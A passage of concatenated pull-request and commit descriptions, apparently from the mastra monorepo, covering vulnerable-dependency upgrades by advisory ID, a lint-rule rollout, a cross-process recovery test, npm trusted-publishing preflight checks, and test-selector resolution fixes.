`@modelcontextprotocol/node`. It also updates AI SDK dependencies and
does not include published package changes.
## Summary
- Raise the `qs` override target to `6.16.1` in the root and e2e
workspaces and in `scripts/gh-issue-triage`.
- Add an `@modelcontextprotocol/node` override at `2.1.1` in the root
workspace and `scripts/gh-issue-triage`.
- Update AI SDK dependency versions across package manifests and add a
changeset describing the provider-utils update.
- Add an empty changeset for the security-only dependency updates.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Update 2026-10-28 (afternoon)
- Merged origin/main (clean).
- Bumped the AI SDK v5 compat line from @ai-sdk/provider-utils 3.0.41 to
3.0.42 (patch, published 2026-10-21; it blocks `.internal` hostnames in
download URL validation and encodes provider-returned IDs in request
paths). This addresses the Aikido /mastra Highs AIKIDO-2026-10990 and
AIKIDO-2026-10981:
- ai 5.0.277 → 5.0.282, @ai-sdk/gateway 2.0.168 → 2.0.173 (vendored
ai_v5)
- anthropic 2.0.109 → 2.0.110, google 2.0.103 → 2.0.106, groq 2.0.58 →
2.0.59, openai 2.0.135 → 2.0.137, openai-compatible 1.0.58 → 1.0.59, xai
2.0.99 → 2.0.100
- Nested lockfiles updated: memory/integration-tests and
playground/e2e/kitchen-sink.
- No new overrides. Changeset:
`vanta-2026-10-28-ai-sdk-v5-provider-utils.md`.
## Update 2026-10-26 afternoon (Vanta pass)
Added commit `f6e4b670` on top of the 16:20 ET main merge:
- **esbuild 0.18.20 → 0.25.12** (GHSA-67mh-4wv8-2f99) and **bundle-name
3.0.0 → 4.1.1** (AIKIDO-2026-886499): the 12:43 ET merge of main dropped
the two `pnpm-workspace.yaml` entries this PR added on 10-23
(`'@esbuild-kit/core-utils>esbuild': 0.25.12` and
`'default-browser@4.0.0>bundle-name': 4.1.1`), so both old versions were
back in `pnpm-lock.yaml`. This commit puts them back exactly as before.
No other overrides changed.
- Added the empty changeset
`.changeset/vanta-2026-10-26-afternoon-overrides.md`.
- `pnpm install --frozen-lockfile --lockfile-only` passes.
After this, `osv-scanner` on all 34 lockfiles finds only the documented
leftovers: zod 3.25.76, ai 4.3.19 / `@ai-sdk/provider-utils` 2.2.8 (the
v4 line), extract-zip 2.0.1 (no patch), `@opentelemetry/core` 1.30.1,
and `@azure/msal-node` 5.6.0 / 6.0.1.
---
## Update 2026-10-26 (Vanta pass)
Merged `origin/main` (no conflicts) and added commits `9b169f0f` and
`94e183ff`:
| Package | From → To | Finding | Where | How |
|---|---|---|---|---|
| body-parser | 2.3.0 → 2.4.0 | CVE-2026-111181 / GHSA-27r3-jxmh-p828
(High) | root `pnpm-lock.yaml`, `examples/agent`, refund and genui
templates (npm) | Raised the root floor `body-parser@<2.3.0: 2.3.0` →
`<2.4.0: 2.4.0`. Added a floor in `examples/agent`. `npm update` in the
templates. `patches/body-parser@2.3.0.patch` renamed to `@2.4.0` (same
one-line raw-body interop; it applies cleanly). |
| body-parser | 1.20.6 → 1.20.9 | same advisory, 1.x line | all 10
`e2e-tests/*` lockfiles (verdaccio → express 4) | New floor
`body-parser@<1.20.9: 1.20.9`. The `patches/body-parser@1.20.6.patch`
files are renamed to `@1.20.9` (they apply cleanly). |
| fast-uri | 3.1.8 → 3.1.9 | CVE-2026-110095/-110180/-110306/-110725 |
root, e2e-tests ×10, `examples/agent`, otel-bridge `agent-hub`,
`acp-validator`, `gh-issue-triage`, refund and genui templates | Raised
the existing floors/pins from 3.1.8 to 3.1.9 |
| fast-uri | 4.2.1 → 4.2.3 | GHSA-333x-w4r6-6crp, GHSA-w74x-v6f9-j3xg,
GHSA-wjr9-j795-jxcr, GHSA-xhq7-xmqj-769h | otel-bridge `agent-hub` |
Raised the existing floor `fast-uri@>=4.0.0 <4.1.5: 4.2.1` → `<4.2.3:
4.2.3` |
| multer | 2.4.0 → 2.5.0 | CVE-2026-113872 / GHSA-q7qp-rjg7-q26m (High)
| root | Floor `multer@<2.3.0: 2.4.0` → `multer@<2.5.0: 2.5.0` |
| serialize-javascript | 7.1.2 → 7.1.4 | CVE-2026-115897 /
GHSA-m5mm-p8h7-m29v | root | Floor `<7.0.5: ^7.0.5` → `<7.1.3: ^7.1.3` |
| zod | 4.3.6 / 4.4.3 / 4.5.4 → 4.6.7 | CVE-2023-54404 /
GHSA-mrhx-c7xc-m3w5 (High) | exact pins in
`templates/template-kyc-customer-onboarding`,
`templates/template-security-incident-triage`,
`packages/mcp/integration-tests/{v2,published-v1}`,
`e2e-tests/commonjs/template` | Direct pin bump (same major) |
| fastify | `^5.12.5` → `^5.12.6` | CVE-2026-107832 | devDependency
specifiers in `server-adapters/fastify` and `workflows/inngest` (the
lock already had 5.12.6) | Specifier bump |
- Every new version is older than 24h: body-parser 2.4.0 and 1.20.9
(10-22), multer 2.5.0 (10-22), serialize-javascript 7.1.4 (10-23),
fast-uri 3.1.9 (10-19), fast-uri 4.2.3 (10-19), qs 6.16.1 (10-14, pulled
in by body-parser 2.4.0), zod 4.6.7 (10-12).
- No overrides or floors were removed; the existing ones were only
raised.
- `pnpm install --frozen-lockfile --lockfile-only` passes at the root
and in the nested e2e/example workspaces.
- Added the empty changesets
`.changeset/vanta-2026-10-26-security-floors.md` and
`.changeset/vanta-2026-10-26-fast-uri-4.md`.
- **Not changed:**
- zod 3.25.76: the fix exists only on zod 4, and the zod-v3 support and
compat tests intentionally stay on 3.
- `@azure/msal-node` 5.6.0: the fix is 7.1.0, but `@azure/identity` 4.14
pins `^6` and `@microsoft/teams.apps` 2.1.1 pins `^5.6.0`, so this would
be a two-major runtime jump.
- extract-zip 2.0.1: no patched release (the advisory lists `>=2.0.2`,
which has not been published).
- `@opentelemetry/core` 1.x: needs pubsub 6 / spanner 9, which are
majors.
- ai v4 / provider-utils: the v4 line is vendored on purpose.
---
Refs mastra-ai/platform#2931
Vanta remediation, 2026-10-23 (follow-up to #28138, which has merged).
| Package | From → To | Finding | Where | How |
|---|---|---|---|---|
| storybook, @storybook/react-vite (+ react, builder-vite, csf-plugin,
react-dom-shim) | 9.1.20 → 9.1.21 | CVE-2026-114125 (Critical),
CVE-2026-114126 (High) | `client-sdks/react` devDependencies | Direct
bump `^9.1.20` → `^9.1.21` |
| esbuild | 0.18.20 → 0.25.12 | GHSA-67mh-4wv8-2f99 | better-auth →
drizzle-kit 0.31.10 → @esbuild-kit/esm-loader → @esbuild-kit/core-utils
(pins `~0.18.20`) | Override `'@esbuild-kit/core-utils>esbuild':
0.25.12` |
| bundle-name | 3.0.0 → 4.1.1 | AIKIDO-2026-886499 | @mastra/deepeval →
deepeval → open@9 → default-browser@4 (pins `^3`) | Override
`'default-browser@4.0.0>bundle-name': 4.1.1` |
### Why there is a `trustPolicyExclude` for storybook 9.1.21
`client-sdks/react` stays on the storybook 9 line; we are not doing the
storybook 10 major here. The only patched 9.x release is 9.1.21. It was
published on 2026-10-12 without the trusted-publisher evidence that
earlier 9.1.x releases had, so `trustPolicy: no-downgrade` fails with
`ERR_PNPM_TRUST_DOWNGRADE`. The exclude covers exactly the six packages
pnpm rejects, each pinned to `@9.1.21`: `@storybook/react-vite`,
`storybook`, `@storybook/react`, `@storybook/builder-vite`,
`@storybook/csf-plugin` and `@storybook/react-dom-shim`. No other
versions or packages are excluded. The packages come from the official
storybook monorepo release, 9.1.21 on the v9 line.
### Notes
- Every new version is older than 24h, so it satisfies
`minimumReleaseAge: 1440`. storybook 9.1.21 is 11 days old, esbuild
0.25.12 is from Nov 2025 and bundle-name 4.1.1 is from 2026-09-25.
- The esbuild override is dev-only: drizzle-kit is a CLI pulled in by
better-auth. I checked that `@esbuild-kit/core-utils` `transform()`
works against esbuild 0.25.12.
- bundle-name 4.x keeps the same `bundleName()` API. It is used only by
`open`'s macOS default-browser lookup.
- `pnpm build-storybook` in `client-sdks/react` fails on main too. The
error is a Babel 8 `loadPartialConfig` error, which happens with 9.1.20
as well, so it is not caused by this PR.
- I ran `pnpm install --frozen-lockfile` and it passes. The changeset is
empty because no published package changes.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
This PR updates dependency versions and rules that keep older,
reported-vulnerable versions out of the project. It also updates
Storybook and records the changes in changesets.
## Summary
- Raises security-related dependency versions or minimums across the
root project, examples, templates, packages, and e2e workspaces. The
updates include `body-parser`, `fast-uri`, `multer`,
`serialize-javascript`, `zod`, and Fastify.
- Renames `body-parser` patch files and updates workspace references to
match the new versions.
- Updates Storybook packages in `client-sdks/react` from 9.1.20 to
9.1.21. Adds an `esbuild` override and updates the `bundle-name`
override.
- Adds changesets for the dependency updates. No tests were added.
## Validation
The author reports that frozen-lockfile installs pass at the root and in
nested e2e and example workspaces. The author also reports that `pnpm
build-storybook` fails on `main` as well as this branch, with a Babel 8
`loadPartialConfig` error.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Enable `no-lonely-if` in the shared Oxlint config and flatten 38 lone
`if` statements in `else` blocks across 35 files. For example, `else {
if (condition) { ... } }` becomes `else if (condition) { ... }`.
Conditions, evaluation order, statements, comments, and local bindings
are preserved. No package filters or lint exceptions are added.
Strengthen the existing monorepo test to execute another named export
from an optimized dependency. Comparisons of TypeScript syntax, emitted
JavaScript, raw template text, comments, and local bindings pass for all
35 migrated files after normalizing only the redundant else blocks. The
rule clears all 15,094 scanned files.
[CI lint and formatting
pass](https://github.com/mastra-ai/mastra/actions/runs/40344286057/job/121647174331)
for `36ca4471f9`. All 634 focused tests, four package typechecks (core,
playground, connect, and deployer), 57 packaged build tasks, and two
selected published-package monorepo E2E cases pass. The broader local
lint run hit a Tailwind design-system precomputation timeout; CI lint
succeeds. Live vendor and external-database suites were not run locally.
[DuckDB CI has two existing capability-list assertion
failures](https://github.com/mastra-ai/mastra/actions/runs/40344286246/job/121649643109):
its implementation advertises `span-aggregate`, while the expected lists
omit it. The failures reproduce locally, and the relevant implementation
and tests are unchanged from the base commit.
This maintenance PR intentionally contains no changeset and requests no
package releases. The missing-changeset check may fail.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
This PR turns on a lint rule that asks for simpler branching in code. It
updates the affected code and adds a leap-year check to an existing
test.
## Changes
- Enables Oxlint’s `no-lonely-if` rule in the shared configuration.
- Flattens 38 lone `if` statements across 35 files. The PR description
reports that the changes preserve behavior.
- Extends the optimized-dependency monorepo test to check `isLeapYear`.
## Validation
- The PR description reports that CI lint and formatting pass.
- It also reports 634 focused tests, four package typechecks, 57
packaged build tasks, and two selected monorepo E2E cases pass.
- The PR description notes two existing DuckDB CI capability-list
assertion failures. It reports that the related implementation and tests
are unchanged from the base commit.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Ports T81 using a real child process, shared LibSQL storage and
UNIX-socket pubsub. The original parks in a blocking tool; the
replacement confirms live-owner recovery is refused, waits for real
lease expiry while the original is SIGSTOPped, then recovers without
force. After SIGCONT and full original execution settlement, persisted
history must still contain exactly one replacement-authored final answer
with unchanged message IDs, ordering and content. Existing pause/resume
helpers are reused; only a test and fixture are added, with no runtime
changes or changeset.
Both durable and evented controls are enabled, as is durable recovery.
Evented recovery is explicitly skipped: one uninstrumented run stalled
in recover() before returning its stream (20s guard, repetition 8); 50
instrumented repeats passed without explaining it. The assertions remain
in-tree for re-enablement after diagnosis. This is not COR-1334
reproduction, a runtime fix, or proof that a stale write was attempted
and rejected.
Validation: 20 final uninstrumented fresh-process runs, each 3 passed /
1 explicitly skipped; 28 neighboring helper, ownership, T79 and T80
tests passed; temporary stale-overwrite and duplicate-answer negative
controls failed on the intended assertions for both engines and were
removed. Package tsc --noEmit, type-aware lint, formatting and git diff
--check pass. No orphan T81 peers or cross-process sockets remain.
Independent final reviews found no remaining must-fix issues.
Test command: pnpm --filter @mastra/libsql exec vitest run
src/__tests__/cross-process/xproc-recovered-original-write.test.ts
Related:
https://linear.app/kepler-crm/issue/COR-1444/port-t81-xproc-recovered-original-write-pause-and-resume-a-cross.
Records the in-tree port for COR-1388; does not close COR-1334. Evented
recovery coverage remains incomplete as documented above.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
This PR adds a test that starts work in one process, pauses it, and
checks that another process can safely finish it after the first process
loses its lease. It confirms that the saved conversation has one correct
final answer and no duplicate messages.
## Changes
- Added the `t81-peer` cross-process fixture.
- Added durable LibSQL recovery coverage with:
- A real child process.
- Shared LibSQL storage.
- UNIX-socket pubsub.
- Lease-expiry handling.
- `SIGSTOP` and resume behavior.
- Message ID, order, content, and replacement-author checks.
- Added a control test for normal completion.
- Confirmed recovery is rejected while the original process still owns
the run.
- Skipped evented recovery because an instrumented setup stall remains
unresolved.
- Added no runtime changes or changeset.
## Validation
The PR reports passing results for:
- 20 fresh-process runs.
- 28 neighboring tests.
- Type checking.
- Linting.
- Formatting.
- Diff checks.
Validation command:
```bash
pnpm --filter @mastra/libsql exec vitest run src/__tests__/cross-process/xproc-recovered-original-write.test.ts
```
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: NikAiyer <nick.aiyer@gmail.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
## Why
Alpha.9 publish run 38152562840 published 7 packages, then failed
partway through on the brand-new `@mastra/sprites` with `E404 PUT` /
`ERR_PNPM_AUTH_TOKEN_EXCHANGE`. `npm-publish.yml` uses npm trusted
publishing (OIDC) with no token fallback. npm only exchanges the job's
GitHub OIDC token for a publish token if the package exists and has a
trusted publisher matching this repo and workflow, and npm only allows a
trusted publisher on a package that already exists. So a never-published
workspace package, or an existing one with no trusted publisher (or one
for another workflow), breaks the release after other packages have
already gone out. Recovery took an npm org admin doing a manual first
publish and an `npm trust` call, then a rerun.
## What
- **`.github/scripts/check-npm-packages-exist.mjs`** checks that every
non-private workspace package exists on npm, using anonymous registry
reads (works in PR workflows without secrets). `--since <ref>` limits
the check to packages whose `package.json` changed, which catches new
packages and private→public promotions. `--retry-404` waits out registry
propagation delay. A registry it can't reach (exit 2) is reported
separately from a missing package (exit 1), so registry flakiness is
never reported as a missing package.
- **Trusted-publishing check (`--oidc`, publish jobs only; new in this
PR)**: for every package in scope, the script requests a GitHub OIDC
token (audience `npm:registry.npmjs.org`) and POSTs it to
`/-/npm/v1/oidc/token/exchange/package/<name>`. This is the exchange
pnpm 11 and npm 11 perform at publish time (endpoint and request shape
taken from pnpm 11.21's `publish/oidc/authToken.js` and npm 12.2's
`lib/utils/oidc.js`). The token npm returns is discarded and never
printed. A granted token proves npm accepts this job as the package's
trusted publisher (repo, workflow and, if the publisher names one,
GitHub environment). It does not prove the publish itself will be
accepted: npm uses the same exchange for publish, stage publish and
dist-tag, so a trusted publisher limited to staged publishing passes
this check. The placeholder script below checks that permission when it
configures or reads back trust. A refused exchange fails with the
packages named and the fix (`scripts/npm-placeholder-publish.mjs` or
`npm trust github … --file npm-publish.yml`). Registry or GitHub-token
errors are reported separately as "could not verify". The check covers
every package in scope, not just those with a new version, because
stable and snapshot run it before versioning. All 163 current public
packages already have a version published through trusted publishing.
- **PR gate** (`lint.yml`, job *New packages exist on npm*): Changesets
release PRs check every package. Other PRs only check packages whose
`package.json` changed, and PRs that touch none make no registry calls.
PR refs stay out of shell: routing is done with `if:` and the base ref
is passed through `env:`. The gate has no OIDC token, so it only
**warns** (`:⚠️:`, never fails) when a package exists but no
version of it was ever published through trusted publishing. A fresh
placeholder looks like that until CI's first publish.
- **Publish check** in all four publish jobs (prerelease, stable,
snapshot, playground-snapshot): existence check, then the
trusted-publishing check. Each check makes one pass over every package,
then re-checks only the missing or refused ones against one shared
5-minute deadline, which picks up a package or trusted publisher an
admin fixed minutes ago. A failing job therefore takes about one retry
window, however many packages fail. If every package is refused, which
points to a misconfigured job rather than the packages, the check fails
after the first pass. It runs before anything publishes, and for stable
before the version commit is pushed to `main`.
- **`scripts/npm-placeholder-publish.mjs`**: the recovery both checks
point to. An npm org admin runs `node
scripts/npm-placeholder-publish.mjs <package>` after `npm login`. For a
never-published name it publishes an empty `0.0.0` placeholder
(package.json + README, no code from any branch). It then configures
trusted publishing for `npm-publish.yml` (with npm ^11.15.0, the first
version with `--allow-publish`) and reads it back with `npm trust list`.
It skips the setup when a usable trusted publisher is already present,
and fails if npm doesn't report one afterwards. A trusted publisher for
this repo and workflow is usable only if it allows publishing
(`createPackage`; older settings with no permissions field count) and is
not restricted to a GitHub environment, because the publish jobs declare
none. A stage-only or environment-restricted one is reported with the
`npm trust revoke --id` command to remove it, instead of being treated
as configured. CI then publishes the real versions. Prereleases go out
under `alpha`, so `latest` stays on the placeholder until the first
stable release, and the placeholder's description and README point
installers to `<package>@alpha`. The script refuses unknown or private
names, an unreachable registry and a logged-out session, publishes
nothing for a name already on npm, and supports `--dry-run`.
CI-only change, so there is no changeset.
## Testing
- `node --test .github/scripts/check-npm-packages-exist.test.mjs
scripts/npm-placeholder-publish.test.mjs`: 37/37, all against local mock
registries. Against the previous scripts, 12 of the 13 new tests fail,
as does the tightened trust-configuration test. The one exception is the
"no warning" test, which passes on both.
- Trusted-publishing check: trust present (exchange granted), no trust
(exchange refused, package named, fix printed), every package refused
(points at the job), exchange endpoint unreachable (exit 2, not "no
trust"), transient 503/429 recovery, GitHub token endpoint failing,
missing `id-token: write`, and trust appearing within the retry window.
Timing tests cover a run where every package is refused (fails in under
a second with a 60-second window; the earlier per-package polling took
144 seconds) and 24 refused or 24 missing packages (about one 3-second
window; per-package polling took about 7.6 seconds). The tests assert
the request shape (audience, POST path, bearer token) and that no token
appears in the output.
- Placeholder script: runs the real `npm publish`, `npm trust github`
and `npm trust list`, and asserts the uploaded tarball holds only
`README.md` and `package.json` at 0.0.0, with the `@alpha` install
pointer. Trust read-back is covered for already configured, configured
but not reported back (fails), an existing package trusting another
workflow, a stage-only publisher and an environment-restricted publisher
(both fail with revoke steps; both were accepted before), and older
settings with no permissions field (accepted).
- **The token exchange has not been run against live npm with a real
GitHub OIDC token.** That needs `npm-publish.yml` in mastra-ai/mastra,
so the first real run will be the next publish. Locally, read-only: a
fake id token sent to the live exchange endpoint gets `401 OIDC token
exchange error - unauthorized`, which the check reports as refused (exit
1). Without `id-token: write` it exits 2.
- Current main against live npm: all 163 publishable packages exist
(exit 0), with no trusted-publishing warnings.
- Incident replay (tree before the alpha.9 version commit, registry in
its publish-day state): flags only `@mastra/sprites`. Running the
placeholder script then publishes 0.0.0 and sets up trust, and the
re-run check passes.
- The PR that added sprites (#26650, which added the `@mastra/sprites`
package) would have been flagged by the PR gate: of the 32 packages it
changed, only sprites is flagged.
- Live npm, read-only: `--dry-run` for an existing name and for a
never-published name (nothing uploaded).
- actionlint on `lint.yml` and `npm-publish.yml` (no findings besides
the repo-wide custom runner labels); `yaml-lint` on both workflows;
`oxfmt --check` on the scripts.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## ELI5
This PR checks that packages exist on npm before release workflows use
them. It also adds a script to prepare new packages for their first npm
release.
## Changes
- Added a pull request check. Changesets release PRs check all
publishable packages. Other PRs check packages whose `package.json`
changed. PRs that change no package manifests make no registry calls.
- Added package-existence and trusted-publishing preflights to the
prerelease, stable, snapshot, and playground-snapshot jobs.
- Added optional `--oidc` checks. A successful token exchange shows that
npm granted the job a token; it does not prove that the token has
publish permission. Without OIDC, the check warns when a package has no
version previously published through trusted publishing.
- Added retries for missing packages and refused token exchanges, using
a shared deadline. The check stops polling when every package’s first
OIDC exchange is refused.
- Added `scripts/npm-placeholder-publish.mjs`. It can publish a public
`0.0.0` placeholder and configure trusted publishing. It rejects
unknown, private, already-published, unverifiable, or unauthenticated
cases, and supports `--dry-run`.
- Added tests for the package checks and placeholder-publishing flows.
- The PR objectives report 37/37 tests passing against local mock
registries and workflow and script lint checks. These results were not
independently verified.
- The PR objectives report that live npm token exchange with a real
GitHub OIDC token has not yet been tested.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
## Summary
Vanta remediation for 2026-10-12. Target list is today's live export (77
findings, 44 unique IDs). Platform findings are handled in
mastra-ai/platform#3317.
### What changed
| Package | From → To | Findings | Where | How |
|---|---|---|---|---|
| better-auth | 1.7.5 → 1.7.7 | AIKIDO-2026-373183 (Critical) | root +
`examples/agent` | raise override `better-auth: ^1.7.7`; direct dep
`@mastra/auth-better-auth` ^1.7.7 |
| @better-auth/drizzle-adapter | 1.7.5 → 1.7.7 | AIKIDO-2026-261025
(Low) | root + `examples/agent` | floor
`'@better-auth/drizzle-adapter@<1.7.7': 1.7.7` (also pulled by
better-auth 1.7.7) |
| @modelcontextprotocol/sdk | 1.31.0 → 1.32.1 | AIKIDO-2026-365378
(High), -156139, -344432 | root, nested locks, `scripts/gh-issue-triage`
| raise floor to `<1.32.0 → 1.32.1`; bump direct pins/ranges |
Nested `pnpm-workspace.yaml` floors raised in e2e-tests/*, examples/*,
integration-tests, etc., and those lockfiles regenerated. Versions used
were published >24h ago (minimumReleaseAge). Patch changeset included
for published packages whose dependency ranges changed.
Aikido lens on this branch: better-auth and MCP SDK findings are gone.
OSV: handlebars already clear on main; remaining high are
braces/extract-zip (no patch).
### Left as-is (no patch, or major-only)
- extract-zip ≤2.0.1: no fix (overdue; removed by #25855 when that
lands). Needs Vanta risk acceptance.
- braces 3.0.3, sprintf-js 1.0.3/1.1.3: no patched release
- postcss-selector-parser 6.x: @tailwindcss/typography pins 6.0.10
- katex 0.16: mermaid declares ^0.16.47
- @ag-ui/client 0.0.59: fix only in 1.0.0 (major). Parent
`@copilotkit/channels-*` 0.11.0 pins 0.0.59 exactly
(template-genui-data-explorer)
- @hono/node-server 1.19 (fix 2.1.3), undici 6.29 (fix 7.23/8.10),
raw-body 3 in templates (fix 4), bundle-name 3 (fix 4.1.1), got 15 (fix
16), zod 3.25 (fix 4.x), @bufbuild/protobuf 1.10 (fix 2.x), openai 6.49
(fix 7.x), jose 5.10 via @segment/analytics-node in template (fix 6.x),
@ai-sdk/provider-utils 2.2.8 / 3.0.x Aikido ranges wanting 4.0.18+:
major-only or scanner range noise
Do not merge unless reviewed. No CI weakened.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## ELI5
This PR updates shared dependency versions so the project uses newer
releases of Better Auth and the MCP SDK. It also updates workspace rules
to keep older versions from being selected.
## Changes
- Updated Better Auth requirements and workspace overrides to `^1.7.7`.
- Updated `@modelcontextprotocol/sdk` requirements and overrides to
`1.32.1` across affected packages and workspaces.
- Added overrides for older `@better-auth/drizzle-adapter` versions to
use `1.7.7`.
- Added a patch changeset for `@mastra/auth-better-auth`,
`@mastra/mcp-registry-registry`, and `@mastra/playground-ui`.
Test results and review findings were not provided.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
CI picks which tests to run on a PR by building a module graph of the
repo and walking it backwards from the changed files. That graph is
built by madge, which resolves imports through enhanced-resolve using
`scripts/madge.webpack.config.cjs`.
That config had no `extensionAlias`. Packages written for TypeScript's
NodeNext resolution import their own relative files as `'../tools.js'`
even though the file on disk is `../tools.ts` — and without
`extensionAlias` the resolver looks for a literal `.js` file, finds
nothing, and silently drops the edge. `mastracode/sdk` is written
entirely in that style (212 of 256 source files), so its portion of the
graph was essentially empty and any PR touching SDK source was told no
tests were affected. The full-suite jobs did not catch this either, so
those changes shipped with no test signal at all.
Two changes: teach the resolver to map `.js`/`.mjs`/`.cjs` specifiers
onto their TypeScript sources, and let madge traverse `.mts`/`.cts`
files, which this package uses for its child-process fixtures.
Fixes#24218
## Test plan
Detector output for the same inputs, before and after:
| changed file | before | after |
| --- | --- | --- |
| `mastracode/sdk/src/agent-connections/tools.ts` | 0 tests | 20 tests,
including its own colocated `__tests__/tools.test.ts` |
| `mastracode/sdk/src/index.ts` | 0 tests | 19 tests |
| `packages/core/src/agent/index.ts` (control) | 1229 tests | 1470 tests
|
The control case was already working but was also under-selecting, since
workspace packages consumed by core use the same import style; it now
resolves those edges too.
Graph is denser, so selection is slightly slower — 21.4s to 23.5s for
the core case, about 10%. That is well worth the correctness.
Note: registering the SDK's own vitest project is separate work, as the
issue describes — `vitest.config.ts` points at a
`mastracode/vitest.config.ts` that does not exist, and the SDK suite is
currently red on main. This PR only fixes the detector.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## ELI5
This PR helps the test selector follow SDK imports correctly. It ensures
source changes select the tests that depend on them.
## Changes
- Added Madge aliases for `.js`, `.mjs`, and `.cjs` imports.
- Added `.mts` and `.cts` files to Madge traversal.
- Added a NodeNext import-resolution test.
- Added a guard for missing colocated tests.
- Added two retries for failed TUI E2E shard tests.
## Reported results
- SDK tool changes select 20 tests instead of none.
- SDK index changes select 19 tests instead of none.
- A core control case selects 1,470 tests, up from 1,229.
- Runtime increased from 21.4 to 23.5 seconds.
- SDK Vitest project registration remains out of scope.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: tyler-mastra[bot] <331730378+tyler-mastra[bot]@users.noreply.github.com>
Co-authored-by: Tyler Barnes <tylerdbarnes@gmail.com>
`check:core-imports` falls back to packing the local `packages/core`
when a package's core peer floor names a version that isn't published
yet. The "Validate peer dependencies" CI job never builds core, so that
fallback packed a tarball with no `dist/` and every `@mastra/core/*`
subpath import failed to resolve — e.g. `Resolved 0/23 @mastra/core
import paths` for `@mastra/server` on #23875, the first PR to raise a
floor to an unpublished core.
The script now builds core (`pnpm turbo build --filter ./packages/core`)
before packing when `dist/` is absent. Reproduced locally by deleting
`dist/`, bumping core to `999.0.0` and pointing `@mastra/server`'s floor
at it: before the change the server check resolved 0 paths; after, it
builds, packs and resolves all imports.
No changeset: script-only change.
Co-authored-by: Mastra Code (anthropic/claude-fable-5-1) <noreply@mastra.ai>